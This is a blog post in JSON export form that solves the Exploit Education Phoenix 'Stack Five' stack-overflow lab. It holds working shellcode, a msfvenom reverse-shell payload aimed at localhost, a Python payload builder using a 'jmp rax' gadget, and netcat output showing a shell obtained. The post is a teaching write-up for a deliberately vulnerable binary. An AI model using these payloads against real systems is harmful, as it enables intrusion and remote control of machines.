{"id":442,"date":"2019-07-09T11:34:29","date_gmt":"2019-07-09T15:34:29","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=442"},"modified":"2019-08-16T13:19:01","modified_gmt":"2019-08-16T17:19:01","slug":"exploit-education-phoenix-stack-five-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-five-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack Five Solution"},"content":{"rendered":"<h1>Stack Five<\/h1>\n<p>The description and source code can be found here:<br \/>\n<a href=\"https:\/\/exploit.education\/phoenix\/stack-five\/\">https:\/\/exploit.education\/phoenix\/stack-five\/<\/a><\/p>\n<p>Now things are getting a bit tricky. This time we&#8217;ll need to utilize the ability to control the Instruction Pointer register (in this case, RIP) to jump to some shell code we inject onto the stack. The source code is pretty simple. The <span style=\"font-family: Courier New; font-weight: bold;\">main()<\/span> function calls the <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span> function, which gets input from the user and saves it to the &#8220;<strong>buffer<\/strong>&#8221; variable:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">void start_level() {\r\n    char buffer&#x5B;128];\r\n    gets(buffer);\r\n}\r\n\r\nint main(int argc, char **argv) {\r\n    printf(&quot;%s\\n&quot;, BANNER);\r\n    start_level();\r\n}<\/pre>\n<p>First, I need to see how far away from the start of the &#8220;<strong>buffer<\/strong>&#8221; variable the return address is in that frame:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ gdb -q stack-five \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from stack-five...(no debugging symbols found)...done.\r\ngef&gt; disas start_level\r\nDump of assembler code for function start_level:\r\n   0x000000000040058d &lt;+0&gt;:     push   rbp\r\n   0x000000000040058e &lt;+1&gt;:     mov    rbp,rsp\r\n   0x0000000000400591 &lt;+4&gt;:     add    rsp,0xffffffffffffff80\r\n   0x0000000000400595 &lt;+8&gt;:     lea    rax,&#x5B;rbp-0x80]\r\n   0x0000000000400599 &lt;+12&gt;:    mov    rdi,rax\r\n   0x000000000040059c &lt;+15&gt;:    call   0x4003f0 &lt;gets@plt&gt;\r\n   0x00000000004005a1 &lt;+20&gt;:    nop\r\n   0x00000000004005a2 &lt;+21&gt;:    leave  \r\n   0x00000000004005a3 &lt;+22&gt;:    ret    \r\nEnd of assembler dump.\r\n\r\ngef&gt; b *0x00000000004005a1\r\nBreakpoint 1 at 0x4005a1\r\n\r\ngef&gt; run &lt;&lt;&lt; $(python -c 'print &quot;A&quot; + &quot;B&quot;*126 + &quot;C&quot;')\r\nStarting program: \/opt\/phoenix\/amd64\/stack-five &lt;&lt;&lt; $(python -c 'print &quot;A&quot; + &quot;B&quot;*126 + &quot;C&quot;') Welcome to phoenix\/stack-five, brought to you by https:\/\/exploit.education Breakpoint 1, 0x00000000004005a1 in start_level () &#x5B;... GEF output snipped ...] gef&gt; info frame\r\nStack level 0, frame at 0x7fffffffe650:\r\n rip = 0x4005a1 in start_level; saved rip = 0x4005c7\r\n called by frame at 0x7fffffff0010\r\n Arglist at 0x7fffffffe640, args: \r\n Locals at 0x7fffffffe640, Previous frame's sp is 0x7fffffffe650\r\n Saved registers:\r\n  rbp at 0x7fffffffe640, rip at 0x7fffffffe648\r\n\r\ngef&gt; info registers $rsp\r\nrsp            0x7fffffffe5c0      0x7fffffffe5c0\r\n\r\ngef&gt; printf &quot;%i\\n&quot;, 0x7fffffffe648 - 0x7fffffffe5c0\r\n136<\/pre>\n<p>So we have 136 bytes before hitting the return address. Now I can generate some shell code and put it on the stack within the &#8220;<strong>buffer<\/strong>&#8221; variable. At first, I tried using some code I found here: <a href=\"http:\/\/shell-storm.org\/shellcode\/\">http:\/\/shell-storm.org\/shellcode\/<\/a>. And these would work if I compiled the C code and executed it directly. For example, this one (<a href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-603.php\">http:\/\/shell-storm.org\/shellcode\/files\/shellcode-603.php<\/a>):<\/p>\n<pre class=\"brush: cpp; light: false; title: shell.c; notranslate\" title=\"shell.c\">int main(void)\r\n{\r\n    char shellcode&#x5B;] =\r\n    &quot;\\x48\\x31\\xd2&quot;                                  \/\/ xor    %rdx, %rdx\r\n    &quot;\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68&quot;      \/\/ mov      $0x68732f6e69622f2f, %rbx\r\n    &quot;\\x48\\xc1\\xeb\\x08&quot;                              \/\/ shr    $0x8, %rbx\r\n    &quot;\\x53&quot;                                          \/\/ push   %rbx\r\n    &quot;\\x48\\x89\\xe7&quot;                                  \/\/ mov    %rsp, %rdi\r\n    &quot;\\x50&quot;                                          \/\/ push   %rax\r\n    &quot;\\x57&quot;                                          \/\/ push   %rdi\r\n    &quot;\\x48\\x89\\xe6&quot;                                  \/\/ mov    %rsp, %rsi\r\n    &quot;\\xb0\\x3b&quot;                                      \/\/ mov    $0x3b, %al\r\n    &quot;\\x0f\\x05&quot;;                                     \/\/ syscall\r\n\r\n    (*(void (*)()) shellcode)();\r\n\r\n    return 0;\r\n}<\/pre>\n<p>When I compile &amp; run it, it gives me a shell:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ gcc -fno-stack-protector -z execstack shell.c -o shell\r\nuser@phoenix-amd64:~$ .\/shell \r\n$ id\r\nuid=1000(user) gid=1000(user) groups=1000(user),27(sudo)<\/pre>\n<p>However, putting that same shell code on the stack and executing it from within the stack-five program wouldn&#8217;t work. So I wanted to test using a reverse shell instead. I fired up a Kali VM and used <span style=\"font-family: Courier New; font-weight: bold;\">msfvenom<\/span> to generate the shell code:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">root ~ # msfvenom -p linux\/x64\/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 --platform linux -a x64 -f python --var-name shellcode\r\nNo encoder or badchars specified, outputting raw payload\r\nPayload size: 74 bytes\r\nFinal size of python file: 424 bytes\r\nshellcode =  &quot;&quot;\r\nshellcode += &quot;\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05&quot;\r\nshellcode += &quot;\\x48\\x97\\x48\\xb9\\x02\\x00\\x11\\x5c\\x7f\\x00\\x00\\x01&quot;\r\nshellcode += &quot;\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a\\x2a\\x58\\x0f\\x05&quot;\r\nshellcode += &quot;\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75&quot;\r\nshellcode += &quot;\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f&quot;\r\nshellcode += &quot;\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6&quot;\r\nshellcode += &quot;\\x0f\\x05&quot;<\/pre>\n<p>I&#8217;m going to use a python script to create a file used for overflowing the buffer. This also makes it easier to make modifications:<\/p>\n<pre class=\"brush: python; light: false; title: generate_payload.py; notranslate\" title=\"generate_payload.py\">#!\/usr\/bin\/env python\r\n\r\n# Total bytes until return address: 136\r\ntotal = 136\r\n\r\nshellcode =  &quot;&quot;\r\nshellcode += &quot;\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05&quot;\r\nshellcode += &quot;\\x48\\x97\\x48\\xb9\\x02\\x00\\x11\\x5c\\x7f\\x00\\x00\\x01&quot;\r\nshellcode += &quot;\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a\\x2a\\x58\\x0f\\x05&quot;\r\nshellcode += &quot;\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75&quot;\r\nshellcode += &quot;\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f&quot;\r\nshellcode += &quot;\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6&quot;\r\nshellcode += &quot;\\x0f\\x05&quot;\r\n\r\n#The start of shellcode: 0x00007fffffffe5c0\r\nret = &quot;\\xc0\\xe5\\xff\\xff\\xff\\x7f\\x00\\x00&quot;\r\n\r\npayload = &quot;&quot;\r\npayload += shellcode\r\npayload += &quot;A&quot; * (total - len(payload))\r\npayload += ret\r\n\r\nwith open(&quot;payload&quot;, &quot;wb&quot;) as f:\r\n    f.write(payload)<\/pre>\n<p>To test this, I&#8217;ll need two terminals SSH&#8217;d into the VM. One to start a netcat listener:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ nc -nlvp 4444\r\nListening on &#x5B;0.0.0.0] (family 0, port 4444)<\/pre>\n<p>Then I&#8217;ll execute the script &amp; use the resulting file as input for the stack-five program:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ cat ~\/payload | .\/stack-five \r\nWelcome to phoenix\/stack-five, brought to you by https:\/\/exploit.education\r\nSegmentation fault<\/pre>\n<p>Well that didn&#8217;t work. However, having recently obtained my OSCP certification, their mantra is still fresh in my head, &#8220;Try harder.&#8221; Instead of putting an address on the stack directly into the RIP register, I&#8217;d like to find another instruction that can jump the execution there, like <span style=\"font-family: Courier New; font-weight: bold;\">jmp esp<\/span>. I can use the <span style=\"font-family: Courier New; font-weight: bold;\">ROPgadget<\/span> tool for this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ ROPgadget --binary stack-five --only &quot;jmp&quot;\r\nGadgets information\r\n============================================================\r\n0x0000000000400481 : jmp rax\r\n\r\nUnique gadgets found: 1<\/pre>\n<p>It looks like the only option is a <span style=\"font-family: Courier New; font-weight: bold;\">jmp eax<\/span> instruction. Let&#8217;s take a look at where the RAX register is pointing to when execution returns from the <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span> function. I&#8217;ll set a breakpoint in the <span style=\"font-family: Courier New; font-weight: bold;\">main()<\/span> function right after the call to <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span>. After running the program and passing a bit of input, we can see that RAX points to the start of the &#8220;buffer&#8221; variable in <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span>, which was the same as the RSP register during that frame:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ gdb -q stack-five \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from stack-five...(no debugging symbols found)...done.\r\ngef&gt; disas main\r\nDump of assembler code for function main:\r\n   0x00000000004005a4 &lt;+0&gt;:     push   rbp\r\n   0x00000000004005a5 &lt;+1&gt;:     mov    rbp,rsp\r\n   0x00000000004005a8 &lt;+4&gt;:     sub    rsp,0x10\r\n   0x00000000004005ac &lt;+8&gt;:     mov    DWORD PTR &#x5B;rbp-0x4],edi\r\n   0x00000000004005af &lt;+11&gt;:    mov    QWORD PTR &#x5B;rbp-0x10],rsi\r\n   0x00000000004005b3 &lt;+15&gt;:    mov    edi,0x400620\r\n   0x00000000004005b8 &lt;+20&gt;:    call   0x400400 &lt;puts@plt&gt;\r\n   0x00000000004005bd &lt;+25&gt;:    mov    eax,0x0\r\n   0x00000000004005c2 &lt;+30&gt;:    call   0x40058d &lt;start_level&gt;\r\n   0x00000000004005c7 &lt;+35&gt;:    mov    eax,0x0\r\n   0x00000000004005cc &lt;+40&gt;:    leave  \r\n   0x00000000004005cd &lt;+41&gt;:    ret    \r\nEnd of assembler dump.\r\n\r\ngef&gt; b *0x00000000004005c7\r\nBreakpoint 1 at 0x4005c7\r\n\r\ngef&gt; run\r\nStarting program: \/opt\/phoenix\/amd64\/stack-five \r\nWelcome to phoenix\/stack-five, brought to you by https:\/\/exploit.education\r\nAAAA\r\n\r\nBreakpoint 1, 0x00000000004005c7 in main ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; i r $rax\r\nrax            0x7fffffffe5c0      0x7fffffffe5c0<\/pre>\n<p>This means that we can make use of that <span style=\"font-family: Courier New; font-weight: bold;\">jmp rax<\/span> instruction. I&#8217;ll modify the <span style=\"font-family: Courier New; font-weight: bold;\">generate_payload.py<\/span> script to overwrite the return address with 0x0000000000400481. I don&#8217;t need to include all of the leading zeros since that&#8217;s what&#8217;s already on the stack:<\/p>\n<pre class=\"brush: python; light: false; title: generate_payload.py; notranslate\" title=\"generate_payload.py\">#!\/usr\/bin\/env python\r\n\r\n# Total bytes until return address: 136\r\ntotal = 136\r\n\r\nshellcode =  &quot;&quot;\r\nshellcode += &quot;\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05&quot;\r\nshellcode += &quot;\\x48\\x97\\x48\\xb9\\x02\\x00\\x11\\x5c\\x7f\\x00\\x00\\x01&quot;\r\nshellcode += &quot;\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a\\x2a\\x58\\x0f\\x05&quot;\r\nshellcode += &quot;\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75&quot;\r\nshellcode += &quot;\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f&quot;\r\nshellcode += &quot;\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6&quot;\r\nshellcode += &quot;\\x0f\\x05&quot;\r\n\r\n# This return address goes to 'jmp eax'\r\nret = &quot;\\x81\\x04\\x40&quot;\r\n\r\npayload = &quot;&quot;\r\npayload += shellcode\r\npayload += &quot;A&quot; * (total - len(payload))\r\npayload += ret\r\n\r\nwith open(&quot;payload&quot;, &quot;wb&quot;) as f:\r\n    f.write(payload)<\/pre>\n<p>Let&#8217;s test this again. In one terminal, I&#8217;ll create the payload and start the netcat listener:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ .\/generate_payload.py \r\n$ nc -nlvp 4444\r\nListening on &#x5B;0.0.0.0] (family 0, port 4444)<\/pre>\n<p>In another terminal, I&#8217;ll execute the program:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ cat ~\/payload | \/opt\/phoenix\/amd64\/stack-five \r\nWelcome to phoenix\/stack-five, brought to you by https:\/\/exploit.education<\/pre>\n<p>Checking the other terminal, I&#8217;ve got a shell!<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ nc -nlvp 4444\r\nListening on &#x5B;0.0.0.0] (family 0, port 4444)\r\nConnection from 127.0.0.1 56878 received!\r\nid\r\nuid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>As opposed to executing an existing function in the binary, this time we\u2019ll be introducing the concept of \u201cshell code\u201d, and being able to execute our own code &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-five-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Stack Five Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-442","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=442"}],"version-history":[{"count":2,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/442\/revisions"}],"predecessor-version":[{"id":684,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/442\/revisions\/684"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=442"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=442"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}